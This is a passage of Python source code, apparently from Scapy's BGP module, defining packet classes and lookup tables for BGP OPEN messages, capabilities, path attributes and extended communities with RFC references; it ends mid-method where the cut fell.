\"\"\"\n    This class provides an implementation of the Graceful Restart\n    capability.\n    References: RFC 4724\n    \"\"\"\n\n    class GRTuple(Packet):\n\n        \"\"\"Tuple <AFI, SAFI, Flags for address family>\"\"\"\n        name = \"<AFI, SAFI, Flags for address family>\"\n        fields_desc = [ShortEnumField(\"afi\", 0, address_family_identifiers),\n                       ByteEnumField(\"safi\", 0, subsequent_afis),\n                       ByteEnumField(\"flags\", 0, gr_address_family_flags)]\n\n    name = \"Graceful Restart Capability\"\n    match_subclass = True\n    fields_desc = [ByteEnumField(\"code\", 64, _capabilities),\n                   ByteField(\"length\", None),\n                   BitField(\"restart_flags\", 0, 4),\n                   BitField(\"restart_time\", 0, 12),\n                   PacketListField(\"entries\", [], GRTuple)]\n\n\n#\n# Support for 4-octet AS number capability\n#\n\nclass BGPCapFourBytesASN(BGPCapability):\n    \"\"\"\n    This class provides an implementation of the 4-octet AS number\n    capability.\n    References: RFC 4893\n    \"\"\"\n\n    name = \"Support for 4-octet AS number capability\"\n    match_subclass = True\n    fields_desc = [ByteEnumField(\"code\", 65, _capabilities),\n                   ByteField(\"length\", 4),\n                   IntField(\"asn\", 0)]\n\n\n#\n# Authentication Information optional parameter.\n#\n\nclass BGPAuthenticationInformation(Packet):\n\n    \"\"\"\n    Provides an implementation of the Authentication Information optional\n    parameter, which is now obsolete.\n    References: RFC 1771, RFC 1654, RFC 4271\n    \"\"\"\n\n    name = \"BGP Authentication Data\"\n    fields_desc = [ByteField(\"authentication_code\", 0),\n                   StrField(\"authentication_data\", None)]\n\n\n#\n# Optional Parameter.\n#\n\n\nclass BGPOptParamPacketListField(PacketListField):\n    \"\"\"\n    PacketListField handling the optional parameters (OPEN message).\n    \"\"\"\n\n    def getfield(self, pkt, s):\n        lst = []\n\n        length = 0\n        if self.length_from is not None:\n            length = self.length_from(pkt)\n        remain = s\n        if length is not None:\n            remain, ret = s[:length], s[length:]\n\n        while remain:\n            param_len = orb(remain[1])  # Get param length\n            current = remain[:2 + param_len]\n            remain = remain[2 + param_len:]\n            packet = self.m2i(pkt, current)\n            lst.append(packet)\n\n        return remain + ret, lst\n\n\nclass BGPOptParam(Packet):\n    \"\"\"\n    Provides an implementation the OPEN message optional parameters.\n    References: RFC 4271\n    \"\"\"\n\n    name = \"Optional parameter\"\n    fields_desc = [\n        ByteEnumField(\"param_type\", 2, optional_parameter_codes),\n        ByteField(\"param_length\", None),\n        ConditionalField(\n            PacketField(\n                \"param_value\",\n                None,\n                BGPCapability\n            ),\n            lambda p: p.param_type == 2\n        ),\n        # It\"s obsolete, but one can use it provided that\n        # param_type == 1.\n        ConditionalField(\n            PacketField(\n                \"authentication_data\",\n                None,\n                BGPAuthenticationInformation\n            ),\n            lambda p: p.param_type == 1\n        )\n    ]\n\n    def post_build(self, p, pay):\n        length = None\n        packet = p\n        if self.param_length is None:\n            if self.param_value is None and self.authentication_data is None:\n                length = 0\n            else:\n                length = len(p) - \\\n                    2  # parameter type (1 byte) - parameter length (1 byte)\n            packet = p[:1] + chb(length)\n            if (self.param_type == 2 and self.param_value is not None) or\\\n                    (self.param_type == 1 and self.authentication_data is not None):  # noqa: E501\n                packet = packet + p[2:]\n\n        return packet + pay\n\n\n#\n# OPEN\n#\n\nclass BGPOpen(BGP):\n    \"\"\"\n    OPEN messages are exchanged in order to open a new BGP session.\n    References: RFC 4271\n    \"\"\"\n\n    name = \"OPEN\"\n    fields_desc = [\n        ByteField(\"version\", 4),\n        ShortField(\"my_as\", 0),\n        ShortField(\"hold_time\", 0),\n        IPField(\"bgp_id\", \"0.0.0.0\"),\n        FieldLenField(\n            \"opt_param_len\",\n            None,\n            length_of=\"opt_params\",\n            fmt=\"!B\"\n        ),\n        BGPOptParamPacketListField(\n            \"opt_params\",\n            [],\n            BGPOptParam,\n            length_from=lambda p: p.opt_param_len\n        )\n    ]\n\n    def post_build(self, p, pay):\n        if self.opt_param_len is None:\n            length = len(p) - 10  # 10 is regular length with no additional\n            # options\n            p = p[:9] + struct.pack(\"!B\", length) + p[10:]\n        return p + pay\n\n\n#\n# UPDATE\n#\n\n#\n# Path attributes\n#\n\n#\n# Dictionaries\n\npath_attributes = {\n    0: \"Reserved\",\n    1: \"ORIGIN\",  # RFC 4271\n    2: \"AS_PATH\",  # RFC 4271\n    3: \"NEXT_HOP\",  # RFC 4271\n    4: \"MULTI_EXIT_DISC\",  # RFC 4271\n    5: \"LOCAL_PREF\",  # RFC 4271\n    6: \"ATOMIC_AGGREGATE\",  # RFC 4271\n    7: \"AGGREGATOR\",  # RFC 4271\n    8: \"COMMUNITY\",  # RFC 1997\n    9: \"ORIGINATOR_ID\",  # RFC 4456\n    10: \"CLUSTER_LIST\",  # RFC 4456\n    11: \"DPA (deprecated)\",  # RFC 6938\n    12: \"ADVERTISER  (Historic) (deprecated)\",  # RFC 4223, RFC 6938\n    13: \"RCID_PATH / CLUSTER_ID (Historic) (deprecated)\",  # RFC 4223, RFC 6938\n    14: \"MP_REACH_NLRI\",  # RFC 4760\n    15: \"MP_UNREACH_NLRI\",  # RFC 4760\n    16: \"EXTENDED COMMUNITIES\",  # RFC 4360\n    17: \"AS4_PATH\",  # RFC 6793\n    18: \"AS4_AGGREGATOR\",  # RFC 6793\n    19: \"SAFI Specific Attribute (SSA) (deprecated)\",  # draft-kapoor-nalawade-idr-bgp-ssa-00,  # noqa: E501\n    # draft-nalawade-idr-mdt-safi-00, draft-wijnands-mt-discovery-00\n    20: \"Connector Attribute (deprecated)\",  # RFC 6037\n    21: \"AS_PATHLIMIT (deprecated)\",  # draft-ietf-idr-as-pathlimit\n    22: \"PMSI_TUNNEL\",  # RFC 6514\n    23: \"Tunnel Encapsulation Attribute\",  # RFC 5512\n    24: \"Traffic Engineering\",  # RFC 5543\n    25: \"IPv6 Address Specific Extended Community\",  # RFC 5701\n    26: \"AIGP\",  # RFC 7311\n    27: \"PE Distinguisher Labels\",  # RFC 6514\n    28: \"BGP Entropy Label Capability Attribute (deprecated)\",  # RFC 6790, RFC 7447  # noqa: E501\n    29: \"BGP-LS Attribute\",  # RFC 7752\n    32: \"LARGE_COMMUNITY\",  # RFC 8092, RFC 8195\n    40: \"BGP Prefix-SID\",  # (TEMPORARY - registered 2015-09-30, expires 2016-09-30)  # noqa: E501\n    # draft-ietf-idr-bgp-prefix-sid\n    128: \"ATTR_SET\",  # RFC 6368\n    255: \"Reserved for development\"\n}\n\n# http://www.iana.org/assignments/bgp-parameters/bgp-parameters.xml\nattributes_flags = {\n    1: 0x40,    # ORIGIN\n    2: 0x40,    # AS_PATH\n    3: 0x40,    # NEXT_HOP\n    4: 0x80,    # MULTI_EXIT_DISC\n    5: 0x40,    # LOCAL_PREF\n    6: 0x40,    # ATOMIC_AGGREGATE\n    7: 0xc0,    # AGGREGATOR\n    8: 0xc0,    # COMMUNITIES (RFC 1997)\n    9: 0x80,    # ORIGINATOR_ID (RFC 4456)\n    10: 0x80,   # CLUSTER_LIST (RFC 4456)\n    11: 0xc0,   # DPA (RFC 6938)\n    12: 0x80,   # ADVERTISER (RFC 1863, RFC 4223)\n    13: 0x80,   # RCID_PATH (RFC 1863, RFC 4223)\n    14: 0x80,   # MP_REACH_NLRI (RFC 4760)\n    15: 0x80,   # MP_UNREACH_NLRI (RFC 4760)\n    16: 0xc0,   # EXTENDED_COMMUNITIES (RFC 4360)\n    17: 0xc0,   # AS4_PATH (RFC 6793)\n    18: 0xc0,   # AS4_AGGREGATOR (RFC 6793)\n    19: 0xc0,   # SSA (draft-kapoor-nalawade-idr-bgp-ssa-00)\n    20: 0xc0,   # Connector (RFC 6037)\n    21: 0xc0,   # AS_PATHLIMIT (draft-ietf-idr-as-pathlimit)\n    22: 0xc0,   # PMSI_TUNNEL (RFC 6514)\n    23: 0xc0,   # Tunnel Encapsulation (RFC 5512)\n    24: 0x80,   # Traffic Engineering (RFC 5543)\n    25: 0xc0,   # IPv6 Address Specific Extended Community (RFC 5701)\n    26: 0x80,   # AIGP (RFC 7311)\n    27: 0xc0,   # PE Distinguisher Labels (RFC 6514)\n    28: 0xc0,   # BGP Entropy Label Capability Attribute\n    29: 0x80,   # BGP-LS Attribute\n    32: 0xc0,   # LARGE_COMMUNITY\n    40: 0xc0,   # BGP Prefix-SID\n    128: 0xc0   # ATTR_SET (RFC 6368)\n}\n\n\nclass BGPPathAttrPacketListField(PacketListField):\n    \"\"\"\n    PacketListField handling the path attributes (UPDATE message).\n    \"\"\"\n\n    def getfield(self, pkt, s):\n        lst = []\n        length = 0\n\n        if self.length_from is not None:\n            length = self.length_from(pkt)\n        ret = \"\"\n        remain = s\n        if length is not None:\n            remain, ret = s[:length], s[length:]\n\n        while remain:\n            #\n            # Get the path attribute flags\n            flags = orb(remain[0])\n\n            attr_len = 0\n            if has_extended_length(flags):\n                attr_len = struct.unpack(\"!H\", remain[2:4])[0]\n                current = remain[:4 + attr_len]\n                remain = remain[4 + attr_len:]\n            else:\n                attr_len = orb(remain[2])\n                current = remain[:3 + attr_len]\n                remain = remain[3 + attr_len:]\n\n            packet = self.m2i(pkt, current)\n            lst.append(packet)\n\n        return remain + ret, lst\n\n\n#\n# ORIGIN\n#\n\nclass BGPPAOrigin(Packet):\n\n    \"\"\"\n    Packet handling the ORIGIN attribute value.\n    References: RFC 4271\n    \"\"\"\n\n    name = \"ORIGIN\"\n    fields_desc = [\n        ByteEnumField(\"origin\", 0, {0: \"IGP\", 1: \"EGP\", 2: \"INCOMPLETE\"})]\n\n\n#\n# AS_PATH (2 bytes and 4 bytes)\n#\n\nas_path_segment_types = {\n    # RFC 4271\n    1: \"AS_SET\",\n    2: \"AS_SEQUENCE\",\n\n    # RFC 5065\n    3: \"AS_CONFED_SEQUENCE\",\n    4: \"AS_CONFED_SET\"\n}\n\n\nclass ASPathSegmentPacketListField(PacketListField):\n    \"\"\"\n    PacketListField handling AS_PATH segments.\n    \"\"\"\n\n    def getfield(self, pkt, s):\n        lst = []\n        remain = s\n\n        while remain:\n            #\n            # Get the segment length\n            segment_length = orb(remain[1])\n\n            if bgp_module_conf.use_2_bytes_asn:\n                current = remain[:2 + segment_length * 2]\n                remain = remain[2 + segment_length * 2:]\n            else:\n                current = remain[:2 + segment_length * 4]\n                remain = remain[2 + segment_length * 4:]\n\n            packet = self.m2i(pkt, current)\n            lst.append(packet)\n\n        return remain, lst\n\n\nclass BGPPAASPath(Packet):\n    \"\"\"\n    Packet handling the AS_PATH attribute value (2 bytes ASNs, for old\n    speakers).\n    References: RFC 4271, RFC 5065\n    \"\"\"\n\n    AS_TRANS = 23456\n\n    class ASPathSegment(Packet):\n        \"\"\"\n        Provides an implementation for AS_PATH segments with 2 bytes ASNs.\n        \"\"\"\n\n        fields_desc = [\n            ByteEnumField(\"segment_type\", 2, as_path_segment_types),\n            ByteField(\"segment_length\", None),\n            FieldListField(\"segment_value\", [], ShortField(\"asn\", 0))\n        ]\n\n        def post_build(self, p, pay):\n            segment_len = self.segment_length\n            if segment_len is None:\n                segment_len = len(self.segment_value)\n                p = p[:1] + chb(segment_len) + p[2:]\n\n            return p + pay\n\n    name = \"AS_PATH (RFC 4271)\"\n    fields_desc = [\n        ASPathSegmentPacketListField(\"segments\", [], ASPathSegment)]\n\n\nclass BGPPAAS4BytesPath(Packet):\n    \"\"\"\n    Packet handling the AS_PATH attribute value (4 bytes ASNs, for new\n    speakers -> ASNs are encoded as IntFields).\n    References: RFC 4893\n    \"\"\"\n\n    class ASPathSegment(Packet):\n        \"\"\"\n        Provides an implementation for AS_PATH segments with 4 bytes ASNs.\n        \"\"\"\n\n        fields_desc = [ByteEnumField(\"segment_type\", 2, as_path_segment_types),\n                       ByteField(\"segment_length\", None),\n                       FieldListField(\"segment_value\", [], IntField(\"asn\", 0))]\n\n        def post_build(self, p, pay):\n            segment_len = self.segment_length\n            if segment_len is None:\n                segment_len = len(self.segment_value)\n                p = p[:1] + chb(segment_len) + p[2:]\n\n            return p + pay\n\n    name = \"AS_PATH (RFC 4893)\"\n    fields_desc = [\n        ASPathSegmentPacketListField(\"segments\", [], ASPathSegment)]\n\n\n#\n# NEXT_HOP\n#\n\nclass BGPPANextHop(Packet):\n    \"\"\"\n    Packet handling the NEXT_HOP attribute value.\n    References: RFC 4271\n    \"\"\"\n\n    name = \"NEXT_HOP\"\n    fields_desc = [IPField(\"next_hop\", \"0.0.0.0\")]\n\n\n#\n# MULTI_EXIT_DISC\n#\n\nclass BGPPAMultiExitDisc(Packet):\n    \"\"\"\n    Packet handling the MULTI_EXIT_DISC attribute value.\n    References: RFC 4271\n    \"\"\"\n\n    name = \"MULTI_EXIT_DISC\"\n    fields_desc = [IntField(\"med\", 0)]\n\n\n#\n# LOCAL_PREF\n#\n\nclass BGPPALocalPref(Packet):\n    \"\"\"\n    Packet handling the LOCAL_PREF attribute value.\n    References: RFC 4271\n    \"\"\"\n\n    name = \"LOCAL_PREF\"\n    fields_desc = [IntField(\"local_pref\", 0)]\n\n\n#\n# ATOMIC_AGGREGATE\n#\n\nclass BGPPAAtomicAggregate(Packet):\n    \"\"\"\n    Packet handling the ATOMIC_AGGREGATE attribute value.\n    References: RFC 4271\n    \"\"\"\n\n    name = \"ATOMIC_AGGREGATE\"\n\n\n#\n# AGGREGATOR\n#\n\nclass BGPPAAggregator(Packet):\n    \"\"\"\n    Packet handling the AGGREGATOR attribute value.\n    References: RFC 4271\n    \"\"\"\n\n    name = \"AGGREGATOR\"\n    fields_desc = [ShortField(\"aggregator_asn\", 0),\n                   IPField(\"speaker_address\", \"0.0.0.0\")]\n\n\n#\n# COMMUNITIES\n#\n\n# http://www.iana.org/assignments/bgp-well-known-communities/bgp-well-known-communities.xml\nwell_known_communities = {\n    0xFFFFFF01: \"NO_EXPORT\",  # RFC 1997\n    0xFFFFFF02: \"NO_ADVERTISE\",  # RFC 1997\n    0xFFFFFF03: \"NO_EXPORT_SUBCONFED\",  # RFC 1997\n    0xFFFFFF04: \"NOPEER\",  # RFC 3765\n    0xFFFF0000: \"planned-shut\",  # draft-francois-bgp-gshut\n    0xFFFF0001: \"ACCEPT-OWN\",  # RFC 7611\n    0xFFFF0002: \"ROUTE_FILTER_TRANSLATED_v4\",  # draft-l3vpn-legacy-rtc\n    0xFFFF0003: \"ROUTE_FILTER_v4\",  # draft-l3vpn-legacy-rtc\n    0xFFFF0004: \"ROUTE_FILTER_TRANSLATED_v6\",  # draft-l3vpn-legacy-rtc\n    0xFFFF0005: \"ROUTE_FILTER_v6\",  # draft-l3vpn-legacy-rtc\n    0xFFFF0006: \"LLGR_STALE\",  # draft-uttaro-idr-bgp-persistence\n    0xFFFF0007: \"NO_LLGR\",  # draft-uttaro-idr-bgp-persistence\n    0xFFFF0008: \"accept-own-nexthop\",  # Ashutosh_Grewal\n}\n\n\nclass BGPPACommunity(Packet):\n    \"\"\"\n    Packet handling the COMMUNITIES attribute value.\n    References: RFC 1997\n    \"\"\"\n\n    name = \"COMMUNITIES\"\n    fields_desc = [IntEnumField(\"community\", 0, well_known_communities)]\n\n\n#\n# ORIGINATOR_ID\n#\n\nclass BGPPAOriginatorID(Packet):\n    \"\"\"\n    Packet handling the ORIGINATOR_ID attribute value.\n    References: RFC 4456\n    \"\"\"\n\n    name = \"ORIGINATOR_ID\"\n    fields_desc = [IPField(\"originator_id\", \"0.0.0.0\")]\n\n\n#\n# CLUSTER_LIST\n#\n\nclass BGPPAClusterList(Packet):\n    \"\"\"\n    Packet handling the CLUSTER_LIST attribute value.\n    References: RFC 4456\n    \"\"\"\n\n    name = \"CLUSTER_LIST\"\n    fields_desc = [\n        FieldListField(\"cluster_list\", [], IntField(\"cluster_id\", 0))]\n\n\n#\n# EXTENDED COMMUNITIES (RFC 4360)\n#\n\n# BGP Transitive Extended Community Types\n# http://www.iana.org/assignments/bgp-extended-communities/bgp-extended-communities.xhtml#transitive\n_ext_comm_types = {\n    0x00: \"Transitive Two-Octet AS-Specific Extended Community\",  # RFC 7153\n    0x01: \"Transitive IPv4-Address-Specific Extended Community\",  # RFC 7153\n    0x02: \"Transitive Four-Octet AS-Specific Extended Community\",  # RFC 7153\n    0x03: \"Transitive Opaque Extended Community\",  # RFC 7153\n    0x04: \"QoS Marking\",  # Thomas_Martin_Knoll\n    0x05: \"CoS Capability\",  # Thomas_Martin_Knoll\n    0x06: \"EVPN\",  # RFC 7153\n    0x07: \"Unassigned\",\n    0x08: \"Flow spec redirect/mirror to IP next-hop\",  # draft-simpson-idr-flowspec-redirect  # noqa: E501\n\n    # BGP Non-Transitive Extended Community Types\n    0x40: \"Non-Transitive Two-Octet AS-Specific Extended Community\",  # RFC 7153  # noqa: E501\n    0x41: \"Non-Transitive IPv4-Address-Specific Extended Community\",  # RFC 7153  # noqa: E501\n    0x42: \"Non-Transitive Four-Octet AS-Specific Extended Community\",  # RFC 7153  # noqa: E501\n    0x43: \"Non-Transitive Opaque Extended Community\",  # RFC 7153\n    0x44: \"QoS Marking\",  # Thomas_Martin_Knoll\n\n    0x80: \"Generic Transitive Experimental Use Extended Community\",  # RFC 7153\n    0x81: \"Generic Transitive Experimental Use Extended Community Part 2\",  # RFC 7674  # noqa: E501\n    0x82: \"Generic Transitive Experimental Use Extended Community Part 3\",  # RFC 7674  # noqa: E501\n}\n\n# EVPN Extended Community Sub-Types\n_ext_comm_evpn_subtypes = {\n    0x00: \"MAC Mobility\",  # RFC 7432\n    0x01: \"ESI Label\",  # RFC 7432\n    0x02: \"ES-Import Route Target\",  # RFC 7432\n    0x03: \"EVPN Router\\\"s MAC Extended Community\",\n    # draft-sajassi-l2vpn-evpn-inter-subnet-forwarding\n    0x04: \"Layer 2 Extended Community\",  # draft-ietf-bess-evpn-vpws\n    0x05: \"E-TREE Extended Community\",  # draft-ietf-bess-evpn-etree\n    0x06: \"DF Election Extended Community\",  # draft-ietf-bess-evpn-df-election\n    0x07: \"I-SID Extended Community\",  # draft-sajassi-bess-evpn-virtual-eth-segment  # noqa: E501\n}\n\n# Transitive Two-Octet AS-Specific Extended Community Sub-Types\n_ext_comm_trans_two_octets_as_specific_subtypes = {\n    0x02: \"Route Target\",  # RFC 4360\n    0x03: \"Route Origin\",  # RFC 4360\n    0x04: \"Unassigned\",  # RFC 4360\n    0x05: \"OSPF Domain Identifier\",  # RFC 4577\n    0x08: \"BGP Data Collection\",  # RFC 4384\n    0x09: \"Source AS\",  # RFC 6514\n    0x0a: \"L2VPN Identifier\",  # RFC 6074\n    0x0010: \"Cisco VPN-Distinguisher\",  # Eric_Rosen\n}\n\n# Non-Transitive Two-Octet AS-Specific Extended Community Sub-Types\n_ext_comm_non_trans_two_octets_as_specific_subtypes = {\n    0x04: \"Link Bandwidth Extended Community\",  # draft-ietf-idr-link-bandwidth-00  # noqa: E501\n    0x80: \"Virtual-Network Identifier Extended Community\",\n    # draft-drao-bgp-l3vpn-virtual-network-overlays\n}\n\n# Transitive Four-Octet AS-Specific Extended Community Sub-Types\n_ext_comm_trans_four_octets_as_specific_subtypes = {\n    0x02: \"Route Target\",  # RFC 5668\n    0x03: \"Route Origin\",  # RFC 5668\n    0x04: \"Generic\",  # draft-ietf-idr-as4octet-extcomm-generic-subtype\n    0x05: \"OSPF Domain Identifier\",  # RFC 4577\n    0x08: \"BGP Data Collection\",  # RFC 4384\n    0x09: \"Source AS\",  # RFC 6514\n    0x10: \"Cisco VPN Identifier\",  # Eric_Rosen\n}\n\n# Non-Transitive Four-Octet AS-Specific Extended Community Sub-Types\n_ext_comm_non_trans_four_octets_as_specific_subtypes = {\n    0x04: \"Generic\",  # draft-ietf-idr-as4octet-extcomm-generic-subtype\n}\n\n# Transitive IPv4-Address-Specific Extended Community Sub-Types\n_ext_comm_trans_ipv4_addr_specific_subtypes = {\n    0x02: \"Route Target\",  # RFC 4360\n    0x03: \"Route Origin\",  # RFC 4360\n    0x05: \"OSPF Domain Identifier\",  # RFC 4577\n    0x07: \"OSPF Route ID\",  # RFC 4577\n    0x0a: \"L2VPN Identifier\",  # RFC 6074\n    0x0b: \"VRF Route Import\",  # RFC 6514\n    0x0c: \"Flow-spec Redirect to IPv4\",  # draft-ietf-idr-flowspec-redirect\n    0x10: \"Cisco VPN-Distinguisher\",  # Eric_Rosen\n    0x12: \"Inter-Area P2MP Segmented Next-Hop\",  # RFC 7524\n}\n\n# Non-Transitive IPv4-Address-Specific Extended Community Sub-Types\n_ext_comm_non_trans_ipv4_addr_specific_subtypes = {}\n\n# Transitive Opaque Extended Community Sub-Types\n_ext_comm_trans_opaque_subtypes = {\n    0x01: \"Cost Community\",  # draft-ietf-idr-custom-decision\n    0x03: \"CP-ORF\",  # RFC 7543\n    0x04: \"Extranet Source Extended Community\",  # RFC 7900\n    0x05: \"Extranet Separation Extended Community\",  # RFC 7900\n    0x06: \"OSPF Route Type\",  # RFC 4577\n    0x07: \"Additional PMSI Tunnel Attribute Flags\",  # RFC 7902\n    0x0b: \"Color Extended Community\",  # RFC 5512\n    0x0c: \"Encapsulation Extended Community\",  # RFC 5512\n    0x0d: \"Default Gateway\",  # Yakov_Rekhter\n    0x0e: \"Point-to-Point-to-Multipoint (PPMP) Label\",  # Rishabh_Parekh\n    0x13: \"Route-Target Record\",  # draft-ietf-bess-service-chaining\n    0x14: \"Consistent Hash Sort Order\",  # draft-ietf-bess-service-chaining\n}\n\n# Non-Transitive Opaque Extended Community Sub-Types\n_ext_comm_non_trans_opaque_subtypes = {\n    0x00: \"BGP Origin Validation State\",  # draft-ietf-sidr-origin-validation-signaling  # noqa: E501\n    0x01: \"Cost Community\",  # draft-ietf-idr-custom-decision\n}\n\n# Generic Transitive Experimental Use Extended Community Sub-Types\n_ext_comm_generic_transitive_exp_subtypes = {\n    0x00: \"OSPF Route Type (deprecated)\",  # RFC 4577\n    0x01: \"OSPF Router ID (deprecated)\",  # RFC 4577\n    0x05: \"OSPF Domain Identifier (deprecated)\",  # RFC 4577\n    0x06: \"Flow spec traffic-rate\",  # RFC 5575\n    0x07: \"Flow spec traffic-action\",  # RFC 5575\n    0x08: \"Flow spec redirect AS-2byte format\",  # RFC 5575, RFC 7674\n    0x09: \"Flow spec traffic-remarking\",  # RFC 5575\n    0x0a: \"Layer2 Info Extended Community\",  # RFC 4761\n    0x0b: \"E-Tree Info\",  # RFC 7796\n}\n\n# Generic Transitive Experimental Use Extended Community Part 2 Sub-Types\n_ext_comm_generic_transitive_exp_part2_subtypes = {\n    0x08: \"Flow spec redirect IPv4 format\",  # RFC 7674\n}\n\n# Generic Transitive Experimental Use Extended Community Part 3 Sub-Types\n_ext_comm_generic_transitive_exp_part3_subtypes = {\n    0x08: \"Flow spec redirect AS-4byte format\",  # RFC 7674\n}\n\n# Traffic Action Fields\n_ext_comm_traffic_action_fields = {\n    47: \"Terminal Action\",  # RFC 5575\n    46: \"Sample\",  # RFC 5575\n}\n\n# Transitive IPv6-Address-Specific Extended Community Types\n_ext_comm_trans_ipv6_addr_specific_types = {\n    0x0002: \"Route Target\",  # RFC 5701\n    0x0003: \"Route Origin\",  # RFC 5701\n    0x0004: \"OSPFv3 Route Attributes (DEPRECATED)\",  # RFC 6565\n    0x000b: \"VRF Route Import\",  # RFC 6515, RFC 6514\n    0x000c: \"Flow-spec Redirect to IPv6\",  # draft-ietf-idr-flowspec-redirect-ip  # noqa: E501\n    0x0010: \"Cisco VPN-Distinguisher\",  # Eric_Rosen\n    0x0011: \"UUID-based Route Target\",  # Dhananjaya_Rao\n    0x0012: \"Inter-Area P2MP Segmented Next-Hop\",  # RFC 7524\n}\n\n# Non-Transitive IPv6-Address-Specific Extended Community Types\n_ext_comm_non_trans_ipv6_addr_specific_types = {}\n\n\n_ext_comm_subtypes_classes = {\n    0x00: _ext_comm_trans_two_octets_as_specific_subtypes,\n    0x01: _ext_comm_trans_ipv4_addr_specific_subtypes,\n    0x02: _ext_comm_trans_four_octets_as_specific_subtypes,\n    0x03: _ext_comm_trans_opaque_subtypes,\n    0x06: _ext_comm_evpn_subtypes,\n    0x40: _ext_comm_non_trans_two_octets_as_specific_subtypes,\n    0x41: _ext_comm_non_trans_ipv4_addr_specific_subtypes,\n    0x42: _ext_comm_non_trans_four_octets_as_specific_subtypes,\n    0x43: _ext_comm_non_trans_opaque_subtypes,\n    0x80: _ext_comm_generic_transitive_exp_subtypes,\n    0x81: _ext_comm_generic_transitive_exp_part2_subtypes,\n    0x82: _ext_comm_generic_transitive_exp_part3_subtypes,\n}\n\n\n#\n# Extended Community \"templates\"\n#\n\nclass BGPPAExtCommTwoOctetASSpecific(Packet):\n    \"\"\"\n    Packet handling the Two-Octet AS Specific Extended Community attribute\n    value.\n    References: RFC 4360\n    \"\"\"\n\n    name = \"Two-Octet AS Specific Extended Community\"\n    fields_desc = [\n        ShortField(\"global_administrator\", 0), IntField(\"local_administrator\", 0)]  # noqa: E501\n\n\nclass BGPPAExtCommFourOctetASSpecific(Packet):\n    \"\"\"\n    Packet handling the Four-Octet AS Specific Extended Community\n    attribute value.\n    References: RFC 5668\n    \"\"\"\n\n    name = \"Four-Octet AS Specific Extended Community\"\n    fields_desc = [\n        IntField(\"global_administrator\", 0), ShortField(\"local_administrator\", 0)]  # noqa: E501\n\n\nclass BGPPAExtCommIPv4AddressSpecific(Packet):\n    \"\"\"\n    Packet handling the IPv4 Address Specific Extended Community attribute\n    value.\n    References: RFC 4360\n    \"\"\"\n\n    name = \"IPv4 Address Specific Extended Community\"\n    fields_desc = [\n        IntField(\"global_administrator\", 0), ShortField(\"local_administrator\", 0)]  # noqa: E501\n\n\nclass BGPPAExtCommOpaque(Packet):\n    \"\"\"\n    Packet handling the Opaque Extended Community attribute value.\n    References: RFC 4360\n    \"\"\"\n\n    name = \"Opaque Extended Community\"\n    fields_desc = [StrFixedLenField(\"value\", \"\", length=6)]\n\n\n#\n# FlowSpec related extended communities\n#\n\nclass BGPPAExtCommTrafficRate(Packet):\n    \"\"\"\n    Packet handling the (FlowSpec) \"traffic-rate\" extended community.\n    References: RFC 5575\n    \"\"\"\n\n    name = \"FlowSpec traffic-rate extended community\"\n    fields_desc = [\n        ShortField(\"id\", 0),\n        IEEEFloatField(\"rate\", 0)\n    ]\n\n\nclass BGPPAExtCommTrafficAction(Packet):\n    \"\"\"\n    Packet handling the (FlowSpec) \"traffic-action\" extended community.\n    References: RFC 5575\n    \"\"\"\n\n    name = \"FlowSpec traffic-action extended community\"\n    fields_desc = [\n        BitField(\"reserved\", 0, 46),\n        BitField(\"sample\", 0, 1),\n        BitField(\"terminal_action\", 0, 1)\n    ]\n\n\nclass BGPPAExtCommRedirectAS2Byte(Packet):\n    \"\"\"\n    Packet handling the (FlowSpec) \"redirect AS-2byte\" extended community\n    (RFC 7674).\n    References: RFC 7674\n    \"\"\"\n\n    name = \"FlowSpec redirect AS-2byte extended community\"\n    fields_desc = [\n        ShortField(\"asn\", 0),\n        IntField(\"value\", 0)\n    ]\n\n\nclass BGPPAExtCommRedirectIPv4(Packet):\n    \"\"\"\n    Packet handling the (FlowSpec) \"redirect IPv4\" extended community.\n    (RFC 7674).\n    References: RFC 7674\n    \"\"\"\n\n    name = \"FlowSpec redirect IPv4 extended community\"\n    fields_desc = [\n        IntField(\"ip_addr\", 0),\n        ShortField(\"value\", 0)\n    ]\n\n\nclass BGPPAExtCommRedirectAS4Byte(Packet):\n    \"\"\"\n    Packet handling the (FlowSpec) \"redirect AS-4byte\" extended community.\n    (RFC 7674).\n    References: RFC 7674\n    \"\"\"\n\n    name = \"FlowSpec redirect AS-4byte extended community\"\n    fields_desc = [\n        IntField(\"asn\", 0),\n        ShortField(\"value\", 0)\n    ]\n\n\nclass BGPPAExtCommTrafficMarking(Packet):\n    \"\"\"\n    Packet handling the (FlowSpec) \"traffic-marking\" extended community.\n    References: RFC 5575\n    \"\"\"\n\n    name = \"FlowSpec traffic-marking extended community\"\n    fields_desc = [\n        BitEnumField(\"dscp\", 48, 48, _ext_comm_traffic_action_fields)\n    ]\n\n\n_ext_high_low_dict = {\n    BGPPAExtCommTwoOctetASSpecific: (0x00, 0x00),\n    BGPPAExtCommIPv4AddressSpecific: (0x01, 0x00),\n    BGPPAExtCommFourOctetASSpecific: (0x02, 0x00),\n    BGPPAExtCommOpaque: (0x03, 0x00),\n    BGPPAExtCommTrafficRate: (0x80, 0x06),\n    BGPPAExtCommTrafficAction: (0x80, 0x07),\n    BGPPAExtCommRedirectAS2Byte: (0x80, 0x08),\n    BGPPAExtCommTrafficMarking: (0x80, 0x09),\n    BGPPAExtCommRedirectIPv4: (0x81, 0x08),\n    BGPPAExtCommRedirectAS4Byte: (0x82, 0x08),\n}\n\n\nclass _ExtCommValuePacketField(PacketField):\n    \"\"\"\n    PacketField handling Extended Communities \"value parts\".\n    \"\"\"\n\n    __slots__ = [\"type_from\"]\n\n    def __init__(self, name, default, cls, type_from=(0, 0)):\n        PacketField.__init__(self, name, default, cls)\n        self.type_from = type_from\n\n    def m2i(self, pkt, m):\n        ret = None\n        type_high, type_low = self.type_from(pkt)\n\n        if type_high == 0x00 or type_high == 0x40:\n            # Two-Octet AS Specific Extended Community\n            ret = BGPPAExtCommTwoOctetASSpecific(m)\n\n        elif type_high == 0x01 or type_high == 0x41:\n            # IPv4 Address Specific\n            ret = BGPPAExtCommIPv4AddressSpecific(m)\n\n        elif type_high == 0x02 or type_high == 0x42:\n            # Four-octet AS Specific Extended Community\n            ret = BGPPAExtCommFourOctetASSpecific(m)\n\n        elif type_high == 0x03 or type_high == 0x43:\n            # Opaque\n            ret = BGPPAExtCommOpaque(m)\n\n        elif type_high == 0x80:\n            # FlowSpec\n            if type_low == 0x06:\n                ret = BGPPAExtCommTrafficRate(m)\n            elif type_low == 0x07:\n                ret = BGPPAExtCommTrafficAction(m)\n            elif type_low == 0x08:\n                ret = 